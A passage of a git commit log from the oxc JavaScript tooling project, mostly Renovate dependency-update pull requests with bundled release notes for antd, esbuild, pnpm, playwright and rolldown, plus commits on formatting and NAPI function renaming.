以配置大小。[#​55028](https://redirect.github.com/ant-design/ant-design/pull/55028 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🆕 Rate `tooltips`
支持所有的提示属性配置。[07b1610](https://redirect.github.com/ant-design/ant-design/commit/07b1610 )
[@​Jerryqun](https://redirect.github.com/Jerryqun )
- 🆕 Select 支持键盘和鼠标交互时 `onActive`
回调。[#​53931](https://redirect.github.com/ant-design/ant-design/pull/53931 )
[@​Wxh16144](https://redirect.github.com/Wxh16144 )
- 🆕 Typography `copyable` 支持 HTTP
环境。[#​55073](https://redirect.github.com/ant-design/ant-design/pull/55073 )
[@​JeeekXY](https://redirect.github.com/JeeekXY )
- Form
- 🔥 Form `useWatch`
支持动态更改监听字段名称。[#​54260](https://redirect.github.com/ant-design/ant-design/pull/54260 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Form 现在取值会排除 `Form.List`
中未被注册的字段值。[#​55526](https://redirect.github.com/ant-design/ant-design/pull/55526 )
[@​crazyair](https://redirect.github.com/crazyair )
- ⚡ ️ 优化 Form 在大量字段卸载时 `useWatch`
的性能。[#​54212](https://redirect.github.com/ant-design/ant-design/pull/54212 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Flex 增加 `orientation` 属性用于布局,原 `vertical`
语法糖仍然保留。[#​53648](https://redirect.github.com/ant-design/ant-design/pull/53648 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- DatePicker
- 🆕 DatePicker 语义化结构新增面板 `container`
支持。[#​55388](https://redirect.github.com/ant-design/ant-design/pull/55388 )
[@​meet-student](https://redirect.github.com/meet-student )
- 🆕 DatePicker 新增 `previewValue`
,以控制鼠标悬停在选项时是否输入框展示预览值。[#​55258](https://redirect.github.com/ant-design/ant-design/pull/55258 )
[@​meet-student](https://redirect.github.com/meet-student )
- 🐞 修复 DatePicker 在清空时,`onChange` 参数 `dateString`
返回值错误的问题。[#​55155](https://redirect.github.com/ant-design/ant-design/pull/55155 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- Drawer
- 🆕 Drawer 新增 `resizable`
支持拖拽能力。[#​54883](https://redirect.github.com/ant-design/ant-design/pull/54883 )
[@​cactuser-Lu](https://redirect.github.com/cactuser-Lu )
- 💄 Drawer
遮罩添加模糊效果。[#​54707](https://redirect.github.com/ant-design/ant-design/pull/54707 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 ColorPicker `presets`
支持渐变色预设值。[#​53250](https://redirect.github.com/ant-design/ant-design/pull/53250 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- Collapse
- 🆕 Collapse `expandIconPosition` 替换为`expandIconPlacement`,并使用逻辑位置以优化
RTL
体验。[#​54311](https://redirect.github.com/ant-design/ant-design/pull/54311 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🐞 修复 Collapse 语义化结构 `icon`
作用元素不正确的问题。[#​55499](https://redirect.github.com/ant-design/ant-design/pull/55499 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🐞 修复 Collapse 动态修改语义化 icon
不生效的问题。[#​55452](https://redirect.github.com/ant-design/ant-design/pull/55452 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- Table
- 🆕 Table `scrollTo` 方法支持 `offset`
以设置滚动偏移量。[#​54385](https://redirect.github.com/ant-design/ant-design/pull/54385 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Table `pagination.position` 替换为
`pagination.placement`。[#​54338](https://redirect.github.com/ant-design/ant-design/pull/54338 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- ⌨️ ⌨️ 优化 Table `column` 为 `sortable` 时的 `aria-description`
可访问性属性。[#​53087](https://redirect.github.com/ant-design/ant-design/pull/53087 )
[@​jon-cullison](https://redirect.github.com/jon-cullison )
- 🆕 重构 Table `column.fixed` 用 `start` 和 `end` 的逻辑位置以支持
RTL。[#​53114](https://redirect.github.com/ant-design/ant-design/pull/53114 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🐞 修复 Table 在使用 `sticky` 或 `scroll.y` 时出现重复的筛选下拉框和提示气泡显示的问题。修复 Table
渲染初始阶段列头不显示的问题。[#​54910](https://redirect.github.com/ant-design/ant-design/pull/54910 )
[@​afc163](https://redirect.github.com/afc163 )
- 🐞 修复 Table 在动态修改 `childrenColumnName`
时,数据不会刷新的问题。[#​55559](https://redirect.github.com/ant-design/ant-design/pull/55559 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- Progress
- 🆕 Progress `gapPosition` 替换为 `gapPlacement`,并使用位置描述值 `start` 和 `end`
取代 `left` 和
`right`。[#​54329](https://redirect.github.com/ant-design/ant-design/pull/54329 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🐞 修复 Progress 在变更 props
时,指示内容不会更新的问题。[#​55554](https://redirect.github.com/ant-design/ant-design/pull/55554 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🛠 Grid 使用 CSS 逻辑位置以支持 RTL
体验。[#​52560](https://redirect.github.com/ant-design/ant-design/pull/52560 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- Notification
- 🛠 Notification 提供 `closable` 属性将 `onClose` 与 `closeIcon`
收敛至其中。[#​54645](https://redirect.github.com/ant-design/ant-design/pull/54645 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Notification
支持自定义进度条颜色。[#​52964](https://redirect.github.com/ant-design/ant-design/pull/52964 )
[@​yellowryan](https://redirect.github.com/yellowryan )
- Image
- 🆕 Image 的预览遮罩 `cover`
支持设置遮罩位置。[#​54492](https://redirect.github.com/ant-design/ant-design/pull/54492 )
[@​kiner-tang](https://redirect.github.com/kiner-tang )
- 🛠 Image 移除默认的查看图标和文案(仍然可以通过 `cover`
配置)。[#​54379](https://redirect.github.com/ant-design/ant-design/pull/54379 )
[@​765477020](https://redirect.github.com/765477020 )
- 🐞 修复 Image 在 RTL
下预览文案的展示问题。[#​53596](https://redirect.github.com/ant-design/ant-design/pull/53596 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- Modal
- 🆕 Modal `closable` 支持 `onClose`
属性以任意方式关闭时触发。[#​54607](https://redirect.github.com/ant-design/ant-design/pull/54607 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 ConfigProvider 支持配置 Modal 的 `okButtonProps` 和
`cancelButtonProps`。[#​53684](https://redirect.github.com/ant-design/ant-design/pull/53684 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🛠 Modal 调整 DOM `className`
以与语义化结构规范保持一致。[#​54472](https://redirect.github.com/ant-design/ant-design/pull/54472 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- ⌨️ 将 Modal 在 `closable` 对象中配置的 `aria-*`
属性应用到关闭按钮上。[#​53289](https://redirect.github.com/ant-design/ant-design/pull/53289 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🐞 修复 Modal 快速切换 `open`
状态时,屏幕交互会被锁定的问题。[#​52753](https://redirect.github.com/ant-design/ant-design/pull/52753 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- Tabs
- 🆕 Tabs `tabPosition` 替换为 `tabPlacement`,并使用位置描述值 `start` 和 `end` 取代
`left` 和
`right`。[#​54358](https://redirect.github.com/ant-design/ant-design/pull/54358 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 💄 Tabs
移除激活态文字阴影。[#​53617](https://redirect.github.com/ant-design/ant-design/pull/53617 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🐞 Tabs 修复空内容 TabPane
的焦点行为,提升无障碍体验。[#​52856](https://redirect.github.com/ant-design/ant-design/pull/52856 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- 🛠 移除 Tabs 废弃
API。[#​52768](https://redirect.github.com/ant-design/ant-design/pull/52768 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- Theme
- 🔥 支持通过 ConfigProvider 的 `theme` 中开启 `zeroRuntime`,屏蔽 cssinjs
样式生成。[#​54334](https://redirect.github.com/ant-design/ant-design/pull/54334 )
[@​MadCcc](https://redirect.github.com/MadCcc )
- 🆕 杂项:CSS-in-JS 支持配置 `autoPrefixTransformer`
添加浏览器样式前缀。[#​54427](https://redirect.github.com/ant-design/ant-design/pull/54427 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Design Token: 在 `useToken` 中透出 css
变量。[#​53195](https://redirect.github.com/ant-design/ant-design/pull/53195 )
[@​MadCcc](https://redirect.github.com/MadCcc )
- 💄 杂项:从 reset.css 中移除 mark
样式。[#​52974](https://redirect.github.com/ant-design/ant-design/pull/52974 )
[@​afc163](https://redirect.github.com/afc163 )
- 🔥 杂项:默认使用 CSS
变量。[#​52671](https://redirect.github.com/ant-design/ant-design/pull/52671 )
[@​MadCcc](https://redirect.github.com/MadCcc )
- 💄 Design Token 新增 `colorBorderDisabled` token
以统一禁用状态下的边框颜色。[#​52421](https://redirect.github.com/ant-design/ant-design/pull/52421 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- Segmented
- 🆕 Segmented 支持 `items.tooltip`
属性以配置提示信息。[#​54273](https://redirect.github.com/ant-design/ant-design/pull/54273 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Segmented 增加 `orientation` 属性用于布局,原 `vertical`
语法糖仍然保留。[#​53664](https://redirect.github.com/ant-design/ant-design/pull/53664 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🛠 改善 Segmented
组件可访问性。[#​52618](https://redirect.github.com/ant-design/ant-des
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 10am on monday" in timezone
Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions ) if
that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4xOS45IiwidXBkYXRlZEluVmVyIjoiNDIuMTkuOSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-11-30 21:37:07 +00:00
Boshen
523a30a016
style(all): apply oxfmt default options ( #16091 )
...
Embrace the defaults!
---------
Co-authored-by: Yuji Sugiura <y.sugiura.0316@gmail.com >
2025-11-25 15:56:24 +09:00
Boshen
ea51b0b5c8
feat(napi)!: standardize function naming with sync suffixes ( #15661 )
...
closes #15576
## Summary
Standardizes function naming across all NAPI packages (parser, transform, minify) with a consistent pattern:
- Async functions: `verb` (no suffix)
- Sync functions: `verbSync` (with Sync suffix)
## Changes
### Breaking Changes
**napi/parser:**
- `parseAsync` → `parse` (async)
- `parseSync` remains unchanged (sync)
**napi/transform:**
- `transformAsync` → `transform` (async)
- `transform` → `transformSync` (sync)
- `isolatedDeclaration` → `isolatedDeclarationSync` (sync)
- Added new `isolatedDeclaration` function (async)
- `moduleRunnerTransform` → `moduleRunnerTransformSync` (sync)
- Added new `moduleRunnerTransform` function (async)
**napi/minify:**
- `minify` → `minifySync` (sync)
- Added new `minify` function (async)
🤖 Generated with [Claude Code](https://claude.com/claude-code )
2025-11-13 12:28:23 +00:00
leaysgur
a8e5181ab7
chore(infra): dogfooding oxfmt ( #14979 )
...
Fixes #14803
- Added `oxfmt` and `oxfmtrc.jsonc`
- Remove `dprint` plugin and useless ignore paths
- Apply `dprint` again
- Apply `oxfmt`
2025-10-28 01:16:46 +00:00
camc314
ada9989c17
chore(deps): update vitest to v4 ( #14919 )
2025-10-24 14:09:11 +00:00
renovate[bot]
46b9d57171
chore(deps): lock file maintenance npm packages ( #14785 )
...
This PR contains the following updates:
| Package | Type | Update | Change | Age | Adoption | Passing |
Confidence |
|---|---|---|---|---|---|---|---|
| | | lockFileMaintenance | All locks refreshed | | | | |
| [@typescript-eslint/visitor-keys](https://typescript-eslint.io )
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/visitor-keys ))
| devDependencies | patch | [`8.46.0` ->
`8.46.1`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fvisitor-keys/8.46.0/8.46.1 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [antd](https://ant.design )
([source](https://redirect.github.com/ant-design/ant-design )) |
devDependencies | patch | [`5.27.4` ->
`5.27.5`](https://renovatebot.com/diffs/npm/antd/5.27.4/5.27.5 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom ) |
devDependencies | patch | [`20.0.2` ->
`20.0.7`](https://renovatebot.com/diffs/npm/happy-dom/20.0.2/20.0.7 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [pnpm](https://pnpm.io )
([source](https://redirect.github.com/pnpm/pnpm/tree/HEAD/pnpm )) |
packageManager | patch | [`10.18.2` ->
`10.18.3`](https://renovatebot.com/diffs/npm/pnpm/10.18.2/10.18.3 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [esbuild](https://redirect.github.com/evanw/esbuild ) | devDependencies
| patch | [`0.25.10` ->
`0.25.11`](https://renovatebot.com/diffs/npm/esbuild/0.25.10/0.25.11 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [playwright](https://playwright.dev )
([source](https://redirect.github.com/microsoft/playwright )) |
devDependencies | patch | [`1.56.0` ->
`1.56.1`](https://renovatebot.com/diffs/npm/playwright/1.56.0/1.56.1 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node )
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node ))
| devDependencies | minor | [`24.7.2` ->
`24.8.1`](https://renovatebot.com/diffs/npm/@types%2fnode/24.7.2/24.8.1 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [rolldown](https://rolldown.rs/ )
([source](https://redirect.github.com/rolldown/rolldown/tree/HEAD/packages/rolldown ))
| devDependencies | patch | [`1.0.0-beta.42` ->
`1.0.0-beta.43`](https://renovatebot.com/diffs/npm/rolldown/1.0.0-beta.42/1.0.0-beta.43 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [eslint](https://eslint.org )
([source](https://redirect.github.com/eslint/eslint )) | devDependencies
| minor | [`9.37.0` ->
`9.38.0`](https://renovatebot.com/diffs/npm/eslint/9.37.0/9.38.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [tsdown](https://redirect.github.com/rolldown/tsdown ) |
devDependencies | patch | [`0.15.6` ->
`0.15.8`](https://renovatebot.com/diffs/npm/tsdown/0.15.6/0.15.8 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
🔧 This Pull Request updates lock files to use the latest dependency
versions.
---
### Release Notes
<details>
<summary>typescript-eslint/typescript-eslint
(@​typescript-eslint/visitor-keys)</summary>
###
[`v8.46.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/visitor-keys/CHANGELOG.md#8461-2025-10-13 )
[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.46.0...v8.46.1 )
This was a version bump only for visitor-keys to align it with other
projects, there were no code changes.
You can read about our [versioning
strategy](https://typescript-eslint.io/users/versioning ) and
[releases](https://typescript-eslint.io/users/releases ) on our website.
</details>
<details>
<summary>ant-design/ant-design (antd)</summary>
###
[`v5.27.5`](https://redirect.github.com/ant-design/ant-design/releases/tag/5.27.5 )
[Compare
Source](https://redirect.github.com/ant-design/ant-design/compare/5.27.4...5.27.5 )
- 🐞 Fix Tour positioning when the `target` is a Table with fixed
headers.
[#​55124](https://redirect.github.com/ant-design/ant-design/pull/55124 )
[@​afc163](https://redirect.github.com/afc163 )
- 💄 Fix Card body extra padding when adding `gap` style.
[#​54974](https://redirect.github.com/ant-design/ant-design/pull/54974 )
[@​QdabuliuQ](https://redirect.github.com/QdabuliuQ )
- 💄 Fix DatePicker design token for text color.
[#​55065](https://redirect.github.com/ant-design/ant-design/pull/55065 )
[@​765477020](https://redirect.github.com/765477020 )
- 💄 Fix List overflow problem when bordered.
[#​55075](https://redirect.github.com/ant-design/ant-design/pull/55075 )
[@​Jiyur](https://redirect.github.com/Jiyur )
- ⌨️ Fix Modal.confirm `aria-labelledby` accessibility attribute missing
problem.
[#​55266](https://redirect.github.com/ant-design/ant-design/pull/55266 )
[@​Jiyur](https://redirect.github.com/Jiyur )
- ⚡ ️ Improve Cascader rendering for loading icon.
[#​55285](https://redirect.github.com/ant-design/ant-design/pull/55285 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- TypeScript
- 🤖 Fix FloatButton type definition missing for `disabled` property.
[#​55156](https://redirect.github.com/ant-design/ant-design/pull/55156 )
[@​deathemperor](https://redirect.github.com/deathemperor )
***
- 🐞 修复 Tour 指定 `target` 为 Table
固定列头时定位错误的问题。[#​55124](https://redirect.github.com/ant-design/ant-design/pull/55124 )
[@​afc163](https://redirect.github.com/afc163 )
- 💄 修复 Card body 增加 `gap` 样式时有多余 padding
的问题。[#​54974](https://redirect.github.com/ant-design/ant-design/pull/54974 )
[@​QdabuliuQ](https://redirect.github.com/QdabuliuQ )
- 💄 修复 DatePicker 文本颜色 token
错误的问题。[#​55065](https://redirect.github.com/ant-design/ant-design/pull/55065 )
[@​765477020](https://redirect.github.com/765477020 )
- 💄 修复 List
启用边框时会内容溢出的问题。[#​55075](https://redirect.github.com/ant-design/ant-design/pull/55075 )
[@​Jiyur](https://redirect.github.com/Jiyur )
- ⌨️ 修复 Modal.confirm 缺失 `aria-labelledby`
可访问性属性的问题。[#​55266](https://redirect.github.com/ant-design/ant-design/pull/55266 )
[@​Jiyur](https://redirect.github.com/Jiyur )
- ⚡ ️ 优化 Cascader
加载中图标的渲染。[#​55285](https://redirect.github.com/ant-design/ant-design/pull/55285 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- TypeScript
- 🤖 修复 FloatButton `disabled`
属性类型缺失的问题。[#​55156](https://redirect.github.com/ant-design/ant-design/pull/55156 )
[@​deathemperor](https://redirect.github.com/deathemperor )
</details>
<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>
###
[`v20.0.7`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.0.7 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.6...v20.0.7 )
##### :construction\_worker\_man: Patch fixes
- Fix incorrect handling of `>=` operator in media query parser - By
**[@​lkritsimas](https://redirect.github.com/lkritsimas )** in task
[#​1869](https://redirect.github.com/capricorn86/happy-dom/issues/1869 )
###
[`v20.0.6`](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.5...aab20c3936ab5023c27f2b5a2ad7eaa42bd6d068 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.5...v20.0.6 )
###
[`v20.0.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.0.5 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.4...v20.0.5 )
##### :construction\_worker\_man: Patch fixes
- The setter `TreeWalker.currentNode` should validate if the value is a
`Node` - By
**[@​capricorn86](https://redirect.github.com/capricorn86 )** in
task
[#​1935](https://redirect.github.com/capricorn86/happy-dom/issues/1935 )
###
[`v20.0.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.0.4 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.3...v20.0.4 )
##### :construction\_worker\_man: Patch fixes
- Only adds buttons to `FormData` if they are the submitter - By
**[@​maxmil](https://redirect.github.com/maxmil )** and **@​
karpiuMG** in task
[#​1859](https://redirect.github.com/capricorn86/happy-dom/issues/1859 )
###
[`v20.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.0.3 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.2...v20.0.3 )
##### :construction\_worker\_man: Patch fixes
- Moves URL resolution to after checking if module preloading is enabled
to prevent URL errors to be thrown when unresolvable - By
**[@​iam-medvedev](https://redirect.github.com/iam-medvedev )** in
task
[#​1851](https://redirect.github.com/capricorn86/happy-dom/issues/1851 )
- Fixes issue where CSS variables aren't parsed correctly when inside
CSS functions - By
**[@​fimion](https://redirect.github.com/fimion )** in task
[#​1837](https://redirect.github.com/capricorn86/happy-dom/issues/1837 )
</details>
<details>
<summary>pnpm/pnpm (pnpm)</summary>
###
[`v10.18.3`](https://redirect.github.com/pnpm/pnpm/blob/HEAD/pnpm/CHANGELOG.md#10183 )
[Compare
Source](https://redirect.github.com/pnpm/pnpm/compare/v10.18.2...v10.18.3 )
##### Patch Changes
- Fix a bug where pnpm would infinitely recurse when using
`verifyDepsBeforeInstall: install` and pre/post install scripts that
called other pnpm scripts
[#​10060](https://redirect.github.com/pnpm/pnpm/issues/10060 ).
- Fixed scoped registry keys (e.g., `@scope:registry`) being parsed as
property paths in `pnpm config get` when `--location=project` is used
[#​9362](https://redirect.github.com/pnpm/pnpm/issues/9362 ).
- Remove pnpm-specific CLI options before passing to npm publish to
prevent "Unknown cli config" warnings
[#​9646](https://redirect.github.com/pnpm/pnpm/issues/9646 ).
- Fixed EISDIR error when bin field points to a directory
[#​9441](https://redirect.github.com/pnpm/pnpm/issues/9441 ).
- Preserve version and hasBin for variations packages
[#​10022](https://redirect.github.com/pnpm/pnpm/issues/10022 ).
- Fixed `pnpm config set --location=project` incorrectly handling keys
with slashes (auth tokens, registry settings)
[#​9884](https://redirect.github.com/pnpm/pnpm/issues/9884 ).
- When both `pnpm-workspace.yaml` and `.npmrc` exist, `pnpm config set
--location=project` now writes to `pnpm-workspace.yaml` (matching read
priority)
[#​10072](https://redirect.github.com/pnpm/pnpm/issues/10072 ).
- Prevent a table width error in `pnpm outdated --long`
[#​10040](https://redirect.github.com/pnpm/pnpm/issues/10040 ).
- Sync bin links after injected dependencies are updated by build
scripts. This ensures that binaries created during build processes are
properly linked and accessible to consuming projects
[#​10057](https://redirect.github.com/pnpm/pnpm/issues/10057 ).
</details>
<details>
<summary>evanw/esbuild (esbuild)</summary>
###
[`v0.25.11`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#02511 )
[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.25.10...v0.25.11 )
- Add support for `with { type: 'bytes' }` imports
([#​4292](https://redirect.github.com/evanw/esbuild/issues/4292 ))
The [import
bytes](https://redirect.github.com/tc39/proposal-import-bytes ) proposal
has reached stage 2.7 in the TC39 process, which means that although it
isn't quite recommended for implementation, it's generally approved and
ready for validation. Furthermore it has already been implemented by
[Deno](https://docs.deno.com/examples/importing_bytes/ ) and
[Webpack](https://redirect.github.com/webpack/webpack/pull/19928 ). So
with this release, esbuild will also add support for this. It behaves
exactly the same as esbuild's existing [`binary`
loader](https://esbuild.github.io/content-types/#binary ). Here's an
example:
```js
import data from './image.png' with { type: 'bytes' }
const view = new DataView(data.buffer, 0, 24)
const width = view.getInt32(16)
const height = view.getInt32(20)
console.log('size:', width + '\xD7' + height)
```
- Lower CSS media query range syntax
([#​3748](https://redirect.github.com/evanw/esbuild/issues/3748 ),
[#​4293](https://redirect.github.com/evanw/esbuild/issues/4293 ))
With this release, esbuild will now transform CSS media query range
syntax into equivalent syntax using `min-`/`max-` prefixes for older
browsers. For example, the following CSS:
```css
@​media (640px <= width <= 960px) {
main {
display: flex;
}
}
```
will be transformed like this with a target such as `--target=chrome100`
(or more specifically with `--supported:media-range=false` if desired):
```css
@​media (min-width: 640px) and (max-width: 960px) {
main {
display: flex;
}
}
```
</details>
<details>
<summary>microsoft/playwright (playwright)</summary>
###
[`v1.56.1`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.56.1 )
[Compare
Source](https://redirect.github.com/microsoft/playwright/compare/v1.56.0...v1.56.1 )
#### Highlights
[#​37871](https://redirect.github.com/microsoft/playwright/issues/37871 )
chore: allow local-network-access permission in chromium
[#​37891](https://redirect.github.com/microsoft/playwright/issues/37891 )
fix(agents): remove workspaceFolder ref from vscode mcp
[#​37759](https://redirect.github.com/microsoft/playwright/issues/37759 )
chore: rename agents to test agents
[#​37757](https://redirect.github.com/microsoft/playwright/issues/37757 )
chore(mcp): fallback to cwd when resolving test config
#### Browser Versions
- Chromium 141.0.7390.37
- Mozilla Firefox 142.0.1
- WebKit 26.0
</details>
<details>
<summary>rolldown/rolldown (rolldown)</summary>
###
[`v1.0.0-beta.43`](https://redirect.github.com/rolldown/rolldown/blob/HEAD/CHANGELOG.md#100-beta43---2025-10-13 )
[Compare
Source](https://redirect.github.com/rolldown/rolldown/compare/v1.0.0-beta.42...v1.0.0-beta.43 )
##### 🚀 Features
- add filterVitePlugins utility that uses to skip vite plugins using
apply: "serve"
([#​6502](https://redirect.github.com/rolldown/rolldown/issues/6502 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_plugin\_vite\_html: align partial can inline entry logic
([#​6500](https://redirect.github.com/rolldown/rolldown/issues/6500 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_plugin\_vite\_html: align get\_imported\_chunks logic
([#​6499](https://redirect.github.com/rolldown/rolldown/issues/6499 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_plugin\_vite\_html: align HtmlTagDescriptor
([#​6498](https://redirect.github.com/rolldown/rolldown/issues/6498 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_plugin\_vite\_html: align partial utility functions logic
([#​6497](https://redirect.github.com/rolldown/rolldown/issues/6497 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_html\_vite\_html: align partial inject chunk asset links
logic
([#​6496](https://redirect.github.com/rolldown/rolldown/issues/6496 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_plugin\_vite\_html: align `processedHtml` logic
([#​6494](https://redirect.github.com/rolldown/rolldown/issues/6494 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- add `nativeMagicString` options
([#​6469](https://redirect.github.com/rolldown/rolldown/issues/6469 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rust: eagerly cleanup resources when calling `close`
([#​6483](https://redirect.github.com/rolldown/rolldown/issues/6483 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- rust: verify if bundler is closed for public API
([#​6481](https://redirect.github.com/rolldown/rolldown/issues/6481 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- replace \[format] placeholder in chunk filename templates
([#​6476](https://redirect.github.com/rolldown/rolldown/issues/6476 ))
by [@​elecmonkey](https://redirect.github.com/elecmonkey )
- implement synchronous JS callback invocation for paths function
([#​6474](https://redirect.github.com/rolldown/rolldown/issues/6474 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_plugin\_vite\_html: align partial transform hook logic
([#​6471](https://redirect.github.com/rolldown/rolldown/issues/6471 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- Support `output.paths`
([#​6470](https://redirect.github.com/rolldown/rolldown/issues/6470 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_plugin\_vite\_html: align script urls handle logic
([#​6466](https://redirect.github.com/rolldown/rolldown/issues/6466 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- add validation for `preserveEntrySignatures` with
`includeDependenciesRecursively` option
([#​6468](https://redirect.github.com/rolldown/rolldown/issues/6468 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- rolldown\_plugin\_vite\_html: align partial logic
